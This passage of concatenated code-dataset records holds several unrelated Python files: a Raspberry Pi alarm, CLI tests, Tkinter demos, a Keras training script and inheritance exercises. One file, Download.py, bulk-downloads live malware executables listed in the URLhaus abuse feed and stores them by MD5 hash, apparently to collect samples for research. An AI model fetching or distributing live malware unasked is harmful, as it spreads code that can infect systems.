check_pass(self): # Checks if the inputted passcode is correct\n        self.index=0\n        self.match=True # If the passcodes match\n        for i in self.userArray:\n            if i != self.pinArray[index]:\n                self.match = False\n                break\n            if i == self.pinArray[index]:\n                self.index += 1\n        return self.match\n\n\ndef button():\n    pinArray = np.array([2,4,3,1]) # The true passcode\n    userArray = np.array([]) # The inputted passcode\n    x = 1 # Represents how many numbers are added to the user array\n    boolean = True # If the passcodes match\n    while x <= len(pinArray): # While the user passcode is smaller than the real passcode\n        while True:\n            if GPIO.input(buttonRed) == True:\n                time.sleep(0.5)\n                userArray = np.append(userArray,1)\n                x+=1\n                break\n            if GPIO.input(buttonYellow) == True:\n                time.sleep(0.5)\n                userArray = np.append(userArray,2)\n                x+=1\n                break\n            if GPIO.input(buttonGreen) == True:\n                time.sleep(0.5)\n                userArray = np.append(userArray,3)\n                x+=1\n                break\n            if GPIO.input(buttonBlue) == True:\n                time.sleep(0.5)\n                userArray = np.append(userArray,4)\n                x+=1\n                break\n            continue\n\n    index = 0\n    for i in userArray:\n        if i != pinArray[index]:\n            boolean = False\n            break\n        if i == pinArray[index]:\n            index += 1\n            continue\n    return boolean # Return whether the passcode is right\n\ndef siren1(pos): # The siren when you first trip the sensor\n    return 440*math.sin(pos)+440\n\ndef siren2(pos): # A higher pitched siren for when you input the wrong passcode\n    return 300*math.sin(pos)+740\n\ndef pulseIn(): # Returns the length of a pulse from the ultrasonic sensor\n    while True:\n        GPIO.output(TRIG, False)\n        time.sleep(.000005)\n        GPIO.output(TRIG, True) # Sending out a trigger pulse for 10 microseconds\n        time.sleep(.00001)\n        GPIO.output(TRIG, False)\n        pulse_start = time.time()\n        pulse_end = time.time()\n        now = time.time()\n        while GPIO.input(ECHO)==0 and time.time()-now<.1: # If we start sending out a pulse or if the command times out\n            pulse_start = time.time()\n        now = time.time()\n        while GPIO.input(ECHO)==1 and time.time()-now<.1: # If we receive the pulse or if the command times out\n            pulse_end = time.time()\n        return pulse_end-pulse_start\n\n\ntry:\n    time.sleep(2) # Waiting for the ultrasonic sensor to warm up\n    while True:\n        button_obj=Button()\n        SecurityLog = open(\"IntrusionLog.txt\", \"a\") # A text file that saves a log of when the sensor is triggered\n        sirenPos=0\n        x = 50 #50 cm threshold distance\n        flag = False\n        distance = pulseIn() * 17150 # 17150 is half the speed of sound in cm/s to account for the return trip\n        if (distance <= x): # Someone triggered the sensor\n            flag = True\n            dateTime = datetime.today().strftime('%Y-%m-%d-%H:%M:%S')\n            fileString = str(datetime.today().strftime('%Y-%m-%d-%H:%M:%S')) + '.jpg'\n            camera.capture(fileString) # Takes the photo and stores it\n            dataWrite = str(dateTime)   #+ \"  \" + fileString + \"  \" + \"\\n\"\n            SecurityLog.write(dataWrite)\n        if (flag == True):\n            while True:\n                pi.hardware_PWM(buzPin,int(siren1(sirenPos)), int(.5e6))\n                sirenPos+=.01\n                button_obj.button_press()\n                if (button_obj.full_length()):\n                    if(button_obj.check_pass()): # Passcode is correct\n                        pi.hardware_PWM(buzPin, 0, 0)\n                        SecurityLog.write(\"False Alarm! \\n\")\n                        break\n                    else: # Passcode is not correct\n                        while True: # The \"evil loop\" you cannot get out of it without an interrupt and the siren gets higher pitched\n                            pi.hardware_PWM(buzPin, int(siren2(sirenPos)), int(.5e6))\n                            time.sleep(.05)\n                            sirenPos+=.05\n                        \n        SecurityLog.close()\nexcept(KeyboardInterrupt, SystemExit):\n    print(\"System Disabled\")\n    \nfinally:\n    pi.hardware_PWM(buzPin, 0, 0)\n    SecurityLog.close()\n    GPIO.cleanup()\n    \n                \n","sub_path":"SecuritySystemCodeObject.py","file_name":"SecuritySystemCodeObject.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"470848229","text":"# -*- encoding: utf-8 -*-\n#\n# Copyright 2015 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import unicode_literals\nimport json\n\n\ndef test_prettytable_output(runner):\n    result = runner.invoke(['test-create', '--name', 'foo'])\n    test = json.loads(result.output)['test']\n\n    result = runner.invoke(['--format', 'table', 'test-show', '--id',\n                            test['id']])\n\n    output = result.output.split('\\n')\n    # NOTE(spredzy) : The expected output for a table format looks like the\n    #                 following :\n    #\n    # +------------\n    # |  id | name\n    # +------------\n    # | id1 | name1\n    # | id2 | name2\n    # | id3 | name3\n    # +------------\n    #\n    # The header variable below represents the header data, when more than one\n    # space is located between the string and the '|' space number is shrink to\n    # one ( this is what ' '.join(string.split()) does\n    #\n    # The data variable below represents the actual data, when more than one\n    # space is located between the string and the '|' space number is shrink to\n    # one ( this is what ' '.join(string.split()) does\n    header = ' '.join(output[1].split())\n    data = ' '.join(output[3].split())\n\n    expected_data = (test['id'], test['name'], test['etag'],\n                     test['created_at'], test['updated_at'])\n\n    assert header == '| id | name | data | etag | created_at | updated_at |'\n\n    assert data == '| %s | %s | {} | %s | %s | %s |' % expected_data\n\n\ndef test_list(runner):\n    runner.invoke(['test-create', '--name', 'foo'])\n    runner.invoke(['test-create', '--name', 'bar'])\n    result = runner.invoke(['test-list'])\n    tests = json.loads(result.output)['tests']\n    assert len(tests) == 2\n    assert tests[0]['name'] == 'foo'\n    assert tests[1]['name'] == 'bar'\n\n\ndef test_create(runner):\n    result = runner.invoke(['test-create', '--name', 'foo'])\n    test = json.loads(result.output)['test']\n    assert test['name'] == 'foo'\n\n\ndef test_update(runner):\n    result = runner.invoke(['test-create', '--name', 'foo'])\n    test = json.loads(result.output)['test']\n\n    result = runner.invoke(['test-update', '--id', test['id'],\n                            '--etag', test['etag'], '--name', 'bar'])\n    result = json.loads(result.output)\n\n    assert result['message'] == 'Test updated.'\n    assert result['name'] == 'bar'\n\n\ndef test_delete(runner):\n    result = runner.invoke(['test-create', '--name', 'foo'])\n    test = json.loads(result.output)['test']\n\n    result = runner.invoke(['test-delete', '--id', test['id'],\n                            '--etag', test['etag']])\n    result = json.loads(result.output)\n\n    assert result['message'] == 'Test deleted.'\n\n\ndef test_show(runner):\n    result = runner.invoke(['test-create', '--name', 'foo'])\n    test = json.loads(result.output)['test']\n\n    result = runner.invoke(['test-show', '--id', test['id']])\n    test = json.loads(result.output)['test']\n\n    assert test['name'] == 'foo'\n","sub_path":"dciclient/v1/tests/shell_commands/test_test.py","file_name":"test_test.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"542035284","text":"\nimport urllib.request\nfrom os import walk\nimport hashlib\nimport os\n\nclass bcolors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\n\n\n#  \"https://urlhaus.abuse.ch/downloads/text\" sitesindeki tum dosyalari indirir.\n\n\nclass UrlHaus:\n    def __init__(self, urlPath,dirname):\n        self.urlPath = urlPath\n        self.allUrlLists =\"\"\n        self.dirname=dirname\n        self.alreadydownloadedlist=[]\n\n    def download(self, link,  filename):\n        print(bcolors.BOLD + bcolors.WARNING + \"\\nLink :\", end=\"     \")\n        print(bcolors.OKBLUE + str(link))\n        exestr = link[len(link)-4:len(link)-1]\n\n        if exestr == \"exe\":\n            try:\n                urllib.request.urlretrieve(link, filename.rstrip('\\r'))\n                isdonwloaded, md5=self.rename_with_md5(filename.rstrip('\\r'))\n\n                self.print_status(\"MD5 :\", \"  \" + md5, bcolors.OKBLUE)\n                if isdonwloaded == -1:\n                    self.print_status(\"Status:\", \"This file is already downloaded!\", bcolors.WARNING)\n                else:\n                    self.print_status(\"Status:\", \"Successfully downloaded!\", bcolors.OKBLUE)\n            except:\n                self.print_status(\"Status:\", \"Error link!\", bcolors.FAIL)\n        else:\n            self.print_status(\"Status:\", \"Not exe fıle!\", bcolors.FAIL)\n\n\n    def print_status(self, status, message, color):\n        print(bcolors.BOLD + bcolors.WARNING + status, end=\"    \")\n        print(color + message)\n\n    def get_all_links(self):\n        with urllib.request.urlopen(self.urlPath) as response:\n            data = response.read()\n        print(bcolors.BOLD + bcolors.WARNING +\"\\nGetting all links\\n\")\n        httpString = \"http\"\n        self.allUrlLists = list()\n        allData = data.decode('utf8').split('\\n')\n\n        for link in allData:\n            if httpString in link:\n                link.replace(\"\\n\", \"\")\n                self.allUrlLists.append(link)\n\n    def print_lists(self, urllist):\n        for link in urllist:\n            print(bcolors.OKBLUE + link)\n\n    def download_all_files(self):\n        self.get_all_links()\n        self.print_lists(self.allUrlLists)\n        self.alreadydownloadedlist = self.get_already_downloaded_list()\n        print(bcolors.BOLD + bcolors.WARNING +\"\\nDownloading files\\n\")\n\n        for url in self.allUrlLists:\n            file = self.dirname + \"/\" + url[7:len(url)].replace(\"/\", \"-\")\n            self.download(url, file)\n\n    def get_already_downloaded_list(self):\n        filelist=[]\n        for (dirpath, dirnames, filenames) in walk(self.dirname):\n            filelist.extend(filenames)\n            break\n        return filelist\n\n    def is_already_downloaded(self, link):\n        if link in self.alreadydownloadedlist:\n            return -1\n        else:\n            return 0\n\n    def rename_with_md5(self, file):\n        with open(file, 'rb') as file_to_check:\n            data = file_to_check.read()\n            md5_returned = hashlib.md5(data).hexdigest()\n\n        isdownloaded = self.is_already_downloaded(md5_returned + '.exe')\n\n        if isdownloaded == -1:\n            os.remove(file)\n        else:\n            os.rename(file, self.dirname + \"/\" + md5_returned + '.exe')\n            newfile=\"LINK => \"+file[len(self.dirname) + 1:] + \" *** MD5 => \" + md5_returned + \"\\n\"\n            with open(\"../UrlHausDownloadedList.txt\", \"a\") as myfile:\n                myfile.write(newfile)\n        return isdownloaded, md5_returned\n\n\n\nurlhaus = UrlHaus(\"https://urlhaus.abuse.ch/downloads/text\", \"../exetemp\")\nurlhaus.download_all_files()\n\n","sub_path":"Project/MalwareCrawler/Download.py","file_name":"Download.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"157245573","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#  ventanas_Tkinter_curso2.py\n#  \n\n\nfrom Tkinter import Tk, Label, Button\n\nclass MyFirstGUI:\n    def __init__(self, master):\n        self.master = master\n        master.title(\"Una simple GUI\")\n\n        self.label = Label(master, text=\"Esta es nuestra primera GUI!\")\n        self.label.pack()\n\n        self.greet_button = Button(master, text=\"Saluda\", command=self.greet)\n        self.greet_button.pack()\n\n        self.close_button = Button(master, text=\"Cierra\", command=master.quit)\n        self.close_button.pack()\n\n    def greet(self):\n        print(\"¡Hola curso Darwin Eventur Python!\")\n\nroot = Tk()\nmy_gui = MyFirstGUI(root)\nroot.mainloop()\n","sub_path":"Ejemplos_TKinter/ventanas_Tkinter_curso2.py","file_name":"ventanas_Tkinter_curso2.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"163980600","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport sys\nimport argparse as arg\nimport csv\nimport os\n\ntrain_filepath = sys.argv[1]\n#train_filepath = \"../hw8/train.csv\"\n\nprint(\"training data: \", train_filepath)\n# print(\"model_path: \", args.model_path)\n\n\n# In[2]:\n\n\n######## Read data from CSV ########\n\ndf = pd.read_csv(train_filepath)\ntrain_x = np.array(df['feature'].str.split(\" \").values.tolist()).reshape(-1, 48, 48, 1).astype(np.float32)\ntrain_y = pd.get_dummies(df['label']).values\n# print(np.fromstring(train_x[0]), dtype=int, sep=' ')\nprint(\"train_x: \", train_x.shape)\nprint(\"train_y: \", train_y.shape)\nprint(train_y)\n\n\n# In[3]:\n\n\nfrom sklearn.model_selection import train_test_split\ntrain_x, val_x, train_y, val_y = train_test_split(train_x, train_y, test_size=0.2)\n\nprint(\"train_x: \", train_x.shape)\nprint(\"train_y: \", train_y.shape)\nprint(\"val_x: \", val_x.shape)\nprint(\"val_y: \", val_y.shape)\n\n\n# In[4]:\n\n\n######## Constants ########\nbatch_size = 32\nepochs = 600\n\n\n# In[5]:\n\n\n######## Training ########\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, SeparableConv2D, MaxPooling2D, Activation, BatchNormalization, Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.optimizers import Adam\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\n\nmodel = Sequential()\nmodel.add(Conv2D(filters=16, kernel_size=(5, 5), padding=\"same\", input_shape=(48,48,1), activation='relu'))\nmodel.add(BatchNormalization(axis=-1, momentum=0.5))\n\nmodel.add(SeparableConv2D(filters=32, kernel_size=(3, 3), padding=\"same\", activation='relu'))\nmodel.add(BatchNormalization(axis=-1, momentum=0.5))\nmodel.add(Dropout(0.2))\n\nmodel.add(SeparableConv2D(filters=64, kernel_size=(3, 3), padding=\"same\", activation='relu'))\nmodel.add(BatchNormalization(axis=-1, momentum=0.5))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.1))\n\nmodel.add(SeparableConv2D(filters=128, kernel_size=(3, 3), padding=\"same\", activation='relu'))\nmodel.add(BatchNormalization(axis=-1, momentum=0.5))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.1))\n\nmodel.add(SeparableConv2D(filters=128, kernel_size=(3, 3), padding=\"same\", activation='relu'))\nmodel.add(BatchNormalization(axis=-1, momentum=0.5))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\n# model.add(SeparableConv2D(filters=512, kernel_size=(3, 3), padding=\"same\", activation='relu'))\n# model.add(BatchNormalization(axis=-1, momentum=0.5))\n# model.add(MaxPooling2D(pool_size=(2,2)))\n# model.add(Dropout(0.2))\n\n\nmodel.add(Flatten())\nmodel.add(Dense(7, activation='softmax'))\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n\n# In[6]:\n\n\n# early_stopping = EarlyStopping(monitor='val_loss', patience=5, verbose=2)\nmodels_filepath = \"less/16fiveto128_{epoch:03d}_A{acc:.3f}_L{loss:.3f}_VA{val_acc:.3f}_VL{val_loss:.3}.hdf5\"\nmodel_checkpoint = ModelCheckpoint(models_filepath, monitor='loss', verbose=0, save_best_only=False, save_weights_only=True, mode='auto', period=5)\n\n\n# In[7]:\n\n\ndatagen = ImageDataGenerator(rotation_range=20.0,width_shift_range=0.1,height_shift_range=0.1,zoom_range=[0.9, 1.1], horizontal_flip=True)\ndatagen.fit(train_x)\n\nmodel.fit_generator(datagen.flow(train_x, train_y, batch_size=batch_size), validation_data=(val_x, val_y), steps_per_epoch=train_x.shape[0]/batch_size*3, epochs=epochs, callbacks=[model_checkpoint])\n\n\n# In[ ]:\nweights = model.get_weights()\nprint(len(weights))\ncompressed_weights = []\nfor i in range(len(weights)):\n    if i > 27:\n        compressed_weights.append(weights[i].astype(np.float16))\n    else:\n        compressed_weights.append(weights[i])\n\n\n# In[27]:\n\n\nnp.savez_compressed(\"part_compressed_w.npz\", compressed_w = np.array(compressed_weights))\n\n\n\n","sub_path":"hw8/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"292624041","text":"'''\r\n    老手机：\r\n        打电话：手机号，彩铃\r\n    新手机：\r\n        打电话：手机号，彩铃，归属地，大头贴，录音\r\n'''\r\nimport time\r\n# class OldPhone:\r\n#     phoneNumber = \"\"\r\n#     voice = \"\"\r\n#\r\n#     def call(self,number):\r\n#         print(self.phoneNumber,\"正在打电话，打给：\",number,\"正在响铃：\",self.voice)\r\n#         for i  in range(8):\r\n#             print(\".\",end=\"\")\r\n#             time.sleep(1)\r\n#         print(\"对方已接通！！\")\r\n#\r\n# class NewPhone(OldPhone):\r\n#     # 归属地，大头贴，录音\r\n#     address = \"\"\r\n#     picture = \"\"\r\n#     mic = False\r\n#\r\n#     def call(self,number):\r\n#         # 2个属性由老手机代码显示\r\n#         super().call(number)\r\n#\r\n#         # 3个新属性由新手机自己显示\r\n#         self.mic = True\r\n#         print(\"本机归属地：\",self.address,\"，对方大头贴为：\",self.picture,\",已经开启了录音功能！\")\r\n#         for i in range(8):\r\n#             print(\".\",end=\"\")\r\n#             time.sleep(1)\r\n#         print(\"本次通话完成[5:36]！\")\r\n\r\n\r\n# phone = NewPhone()\r\n# phone.phoneNumber = \"13552648187\"\r\n# phone.voice = \"江南style\"\r\n# phone.picture = \"野猪佩奇\"\r\n# phone.address = \"北京移动\"\r\n#\r\n# phone.call(\"13379854676\")\r\n\r\n\r\n#\r\n# 按要求定义类\r\n# 考查知识点：super关键字的使用和继承中方法的调用\r\n# 要求：\r\n# 1、定义老手机类，有品牌属性，且属性私有化，提供相应的getXxx与setXxx方法，提供无返回值的带一个Str类型参数的打电话的方法，内容为：“正在给xxx打电话...”\r\n# 2、定义新手机类，继承老手机类，重写父类的打电话的方法，内容为2句话：“语音拨号中...”、“正在给xxx打电话...”要求打印“正在给xxx打电话...”这一句调用父类的方法实现，不能在子类的方法中直接打印；提供无返回值的无参数的手机介绍的方法，内容为：“品牌为：xxx的手机很好用...”\r\n# 3、定义测试类，创建新手机对象，并使用该对象，对父类中的品牌属性赋值；\r\n# 4、使用新手机对象调用手机介绍的方法；\r\n# 5、使用新手机对象调用打电话的方法；\r\nclass oderP:\r\n    __brand = \"\"\r\n    def setBrand(self,brand):\r\n        self.__brand=brand\r\n    def getBrand(self):\r\n        return self.__brand\r\n\r\n    def call(self, number):\r\n        print(\"正在打给：\",number)\r\n        for i in range(8):\r\n            print(\".\",end=\"\")\r\n            time.sleep(1)\r\n        print(\"对方已接通！！\")\r\n        print(\"品牌为\",self.__brand,\"的手机真好用\")\r\n\r\nclass newP(oderP):\r\n    def call(self,number):\r\n        super().call(number)\r\n\r\n\r\ni=newP()\r\ni.setBrand=\"小米\"\r\ni.call(\"13872031732\")\r\n\r\n\r\n# 题目一：\r\n# 考查知识点：继承的传递性\r\n# 按要求定义类\r\n# 要求：\r\n# 1、定义厨师类，有姓名和年龄的属性，且属性私有化，提供相应的getXxx与setXxx方法，提供无返回值的无参数的蒸饭方法；\r\n# 2、定义厨师的子类，该类中要求只能写一个无返回值的无参数的炒菜的方法，其他的方法不能写；\r\n# 3、定义厨师的子类的子类，重写所有父类的方法，每个方法的内容只需打印一句话描述方法的功能即可；(蒸饭，炒菜)\r\n# 4、定义测试类，创建厨师的子类的子类（厨师的孙子类）对象，使用该对象，对厨师类中的姓名和年龄属性赋值，并获取赋值后的属性值打印到控制台上；\r\n# 5、使用厨师的孙子类对象调用该对象除了getXxx与setXxx以外的其他方法；\r\n\r\n# class cook:\r\n#     __name=\"\"\r\n#     __age=\"\"\r\n#     def setName(self,name):\r\n#         self.__name=name\r\n#     def getName(self):\r\n#         return self.__name\r\n#     def setAge(self,age):\r\n#         self.__age=age\r\n#     def getAge(self):\r\n#         return self.__age\r\n#     def stir_fry(self):\r\n#         print(\"我是一名厨师，叫\",self.__name,\"年龄是\",self.__age,\"我正在炒菜\")\r\n# class cooks(cook):\r\n#     def stir_fry(self):\r\n#         super().stir_fry()\r\n# class cookses(cooks):\r\n#     def steamed_rice():\r\n#\r\n#         print(\"我是一名厨师，叫\",self.__name,\"年龄是\",self.__age,\"我正在蒸饭\")\r\n#\r\n# b=cooks()\r\n# b.setName(\"李刚\")\r\n# b.setAge(45)\r\n# b.stir_fry()\r\n#\r\n# d=cookses()\r\n# d.steamed_rice()\r\n\r\n\r\n\r\n\r\n\r\n#\r\n# 请编程\r\n# i.人：年龄，性别，姓名。\r\n# ii.现在有个工种，工人：年龄，性别，姓名 。行为：干活。请用继承的角度来实现该类。\r\n# iii.现在有学生这个工种，学生：年龄，性别，姓名，学号。行为：学习，唱歌。请结合上面的几个题目用继承的角度来实现。\r\n#\r\nclass people:\r\n    age=\"\"\r\n    sex=\"\"\r\n    name=\"\"\r\nclass type_of_work(people):\r\n    def type_work(self):\r\n        print(\"一个叫\",self.name,\"性别为\",self.sex,\"性,年龄为\",self.age,\"岁的工人在干活\")\r\nclass student(people):\r\n    student_id=None\r\n    def doing(self,study,song):\r\n        print(\"一个叫\",self.name,\"性别为\",self.sex,\"性,年龄为\",self.age,\"岁,学号为\",self.student_id,\"的学生在\",study,song)\r\n\r\na=type_of_work()\r\na.name=\"李刚\"\r\na.sex=\"男\"\r\na.age=81\r\na.type_work()\r\n\r\nc=student()\r\nc.name=\"小明\"\r\nc.sex=\"男\"\r\nc.age=19\r\nc.student_id=\"1655646\"\r\nc.doing(\"学习\",\"唱歌\")\r\n","sub_path":"手机.py","file_name":"手机.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"147618795","text":"def din(a):\n    val = int(a)\n    notas = [200, 100, 50, 20, 10, 5, 2, 1]\n    notas.sort()\n    notas.reverse()\n    numNotas = []\n    for i in notas:\n        numNotas.append(val/i)\n        val %= i\n    for i in range(len(notas)):\n        print(\"Notas de %d:%d\" % (notas[i], numNotas[i]))\n    return a\nval = int(input(\"Digite o valor: \"))\nprint(din(val))","sub_path":"Contagem-cedulas.py","file_name":"Contagem-cedulas.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"253262616","text":"import numpy as np\nimport tkinter as tk\nimport PIL.Image\nimport PIL.ImageTk\nimport matplotlib.cm as cm\n\n\nclass RoiFinder(tk.Frame):\n    def __init__(self, data, *args, **kwargs):\n        tk.Frame.__init__(self, *args, **kwargs)\n\n\n\n    def setup(self, data):\n        self._data = self.gamma_correction(1.0*data / np.max(data), 0.8)\n        sh = self._data.shape\n        self.zoom_level = 8\n\n        cframe = tk.Frame(self)\n        self.c = tk.Canvas(cframe, bg='white', width=512, height=512)\n        self.cz = tk.Canvas(cframe, bg='white', width=512, height=512)\n        #self.im=PIL.Image.frombytes('L', (data.shape[1],data.shape[0]), data.astype('b').tostring())\n        print(np.uint8(cm.viridis(self._data)*255))\n        self.im = PIL.Image.fromarray(np.uint8(cm.viridis(self._data)*255))\n        self.imz = PIL.Image.fromarray(np.uint8(cm.viridis(self._data)*255)).resize((sh[1]*self.zoom_level, sh[0]*self.zoom_level))\n        self.imzz = self.imz.crop(box=(0,0,100,100)).resize((512,512))\n        self.photo = PIL.ImageTk.PhotoImage(image=self.im)\n        self.photoz = PIL.ImageTk.PhotoImage(image=self.imz)\n        self.c.create_image(0,0,image=self.photo,anchor=tk.NW)\n        self.z = self.cz.create_image(256,256,image=self.photoz,anchor=tk.NW)\n\n        self.c.pack(side='left')\n        self.cz.pack(side='left')\n        cframe.pack()\n        self.circle = 0\n        self.zcircle = 0\n\n        self.old_x = None\n        self.old_y = None\n        self.line_width = 1\n        self.c.bind('<B1-Motion>', self.paint)\n        self.cz.bind('<B1-Motion>', self.paint)\n        self.c.bind('<Button-3>', self.newRoi)\n        self.c.bind('<ButtonRelease-1>', self.reset)\n        self.c.bind('<Button-4>', lambda event : self.on_mousewheel(5))\n        self.c.bind('<MouseWheel>', self.on_windows_mousewheel)\n        self.c.bind('<Button-5>', lambda event : self.on_mousewheel(-5))\n        self.c.bind(\"<Motion>\", self.update_zoom_window)\n        self.segments = []\n        self.frame_button = tk.Frame(self)\n        self.button_prev = tk.Button(self.frame_button, text=\"Back\")\n        self.button_prev.pack(side = \"left\", fill='x', expand=True)\n        self.button_next = tk.Button(self.frame_button, text=\"Next\")\n        self.button_next.pack(side = \"left\", fill='x', expand=True)\n        self.frame_button.pack(expand=True, fill=\"x\")\n\n\n\n\n    def update_zoom_window(self, event):\n        x,y = event.x, event.y\n        fac = self.line_width\n        s = 5*fac\n        if(s >= min(self._data.shape[0],self._data.shape[1])):\n            s = min(self._data.shape[0],self._data.shape[1]) - 1\n        if(s < 6):\n            s = 6\n\n        x0 = x - s\n        x1 = x + s\n        y0 = y - s\n        y1 = y + s\n\n        # if(x0 < 0):\n        #     x0 = 0\n        #     x1 = s*2\n        # if(y0 < 0):\n        #     y0 = 0\n        #     y1 = s*2\n        # if(x1 >= self._data.shape[0]):\n        #     x1 = self._data.shape[0]-1\n        #     x0 =  self._data.shape[0]-s*2\n        # if(y1 >= self._data.shape[1]):\n        #     y1 = self._data.shape[1]-1\n        #     y0 =  self._data.shape[1]-s*2\n\n        # self.imzz = self.imz.crop(box=(x0,y0,x1,y1)).resize((512,512))\n        # self.cz.delete(self.z)\n        # self.photoz = PIL.ImageTk.PhotoImage(image=self.imzz)\n        # self.z = self.cz.create_image(0,0,image=self.photoz,anchor=tk.NW)\n        self.cz.scan_dragto(-x,-y, gain = self.zoom_level)\n        self.redraw_cursors(x,y)\n\n\n\n    def on_mousewheel(self, event):\n        self.line_width += event\n        if self.line_width < 2:\n            self.line_width = 2\n        if self.line_width > 50:\n            self.line_width = 50\n\n    def on_windows_mousewheel(self, event):\n        self.line_width += event.delta / 120\n        if self.line_width < 2:\n            self.line_width = 2\n        if self.line_width > 50:\n            self.line_width = 50\n        self.redraw_cursors(event.x,event.y)\n\n    def newRoi(self, event):\n        print(\"yellow!\")\n        for s in self.segments:\n            self.c.itemconfig(s, fill= \"green\")\n\n    def setData(self, image_data):\n        print(\"\")\n    def getRois(self):\n        print(\"\")\n\n    def motion(self, event = None):\n        # mouse cursor position in canvas coord\n        x0 = event.x\n        y0 = event.y\n\n\n        # compute offset from center of zoom canvas\n        x1 = 2*256 + 256 - x0\n        y1 = 256 - y0\n\n\n        print(x1)\n        print(y1)\n\n        # move cursor\n        #self.c.event_generate('<Motion>', warp=True, x=x1, y=y1)\n\n    def paint(self, event):\n\n        # position on canvas\n        x0 = event.x\n        y0 = event.y\n\n        # compute offset from canvas center\n        x1 = 256 - x0\n        y1 = 256 - y0\n\n        # only shift in x\n        shift = self.cz.winfo_rootx() - self.c.winfo_rootx()\n\n        xwin = self.c.winfo_x() + x1\n        ywin = self.c.winfo_y() + y1\n        print(self.c.canvasx(500))\n        print(self.cz.canvasx(500))\n        print(ywin)\n\n        # compute offset between canvas centers\n        #self.c.canvasx(xwin_shifted)\n\n        #print(x1)\n\n        # if self.old_x and self.old_y:\n        #     x = self.old_x + (event.x - self.old_x)\n        #     y = self.old_y + (event.y - self.old_y)\n        #     print( (event.x - self.old_x)/2)\n        #     print( (event.x - self.old_x))\n        #\n        #\n        #\n        #\n        #     print(x)\n        # else:\n        #     x = event.x\n        #     y = event.y\n        #     x0 = self.cz.canvasx(256)\n        #     y0 = self.cz.canvasy(256)\n        #\n        # if self.old_x and self.old_y:\n        #     a = self.c.create_line(self.old_x, self.old_y, x, y,\n        #                        width=self.line_width, fill='red',\n        #                        capstyle=tk.ROUND, smooth=tk.TRUE, splinesteps=36,\n        #                        stipple = 'gray25')\n        #     self.segments.append(a)\n        #\n        #     b = self.cz.create_line(self.old_x*self.zoom_level +256,\n        #         self.old_y*self.zoom_level+256, x*self.zoom_level+256,\n        #         y*self.zoom_level+256, width=self.line_width*self.zoom_level,\n        #         fill='red', capstyle=tk.ROUND, smooth=tk.TRUE, splinesteps=36,\n        #         stipple = 'gray25')\n        #\n        #     self.redraw_cursors(x,y)\n        #\n        # self.old_x = x\n        # self.old_y = y\n        # print(\"paint!\")\n\n    def redraw_cursors(self, x, y):\n        radius = self.line_width / 2\n        x_max = x + radius\n        x_min = x - radius\n        y_max = y + radius\n        y_min = y - radius\n\n\n        x2_max = (x + self.line_width / 2)* self.zoom_level  + 256\n        x2_min = (x - self.line_width / 2)* self.zoom_level + 256\n        y2_max = (y + self.line_width / 2)* self.zoom_level+ 256\n        y2_min = (y - self.line_width / 2)* self.zoom_level + 256\n\n        self.c.delete(self.circle)\n        self.cz.delete(self.zcircle)\n        self.circle = self.c.create_oval(x_max, y_max, x_min, y_min, outline=\"red\")\n        self.zcircle = self.cz.create_oval(x2_max, y2_max, x2_min, y2_min, outline=\"red\")\n\n    def gamma_correction(self, array, gamma):\n        return(np.power(array, gamma))\n\n    def reset(self, event):\n        self.old_x, self.old_y = None, None\n","sub_path":"roifinder.py","file_name":"roifinder.py","file_ext":"py","file_size_in_byte":7188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"80110032","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n# ***********************************************************************************************************\n#\n#  Starfish Storage Corporation (\"COMPANY\") CONFIDENTIAL\n#  Unpublished Copyright (c) 2011-2018 Starfish Storage Corporation, All Rights Reserved.\n#\n#  NOTICE:  All information contained herein is, and remains the property of COMPANY. The intellectual and\n#  technical concepts contained herein are proprietary to COMPANY and may be covered by U.S. and Foreign\n#  Patents, patents in process, and are protected by trade secret or copyright law. Dissemination of this\n#  information or reproduction of this material is strictly forbidden unless prior written permission is\n#  obtained from COMPANY.  Access to the source code contained herein is hereby forbidden to anyone except\n#  current COMPANY employees, managers or contractors who have executed Confidentiality and Non-disclosure\n#  agreements explicitly covering such access.\n#\n#  ANY REPRODUCTION, COPYING, MODIFICATION, DISTRIBUTION, PUBLIC  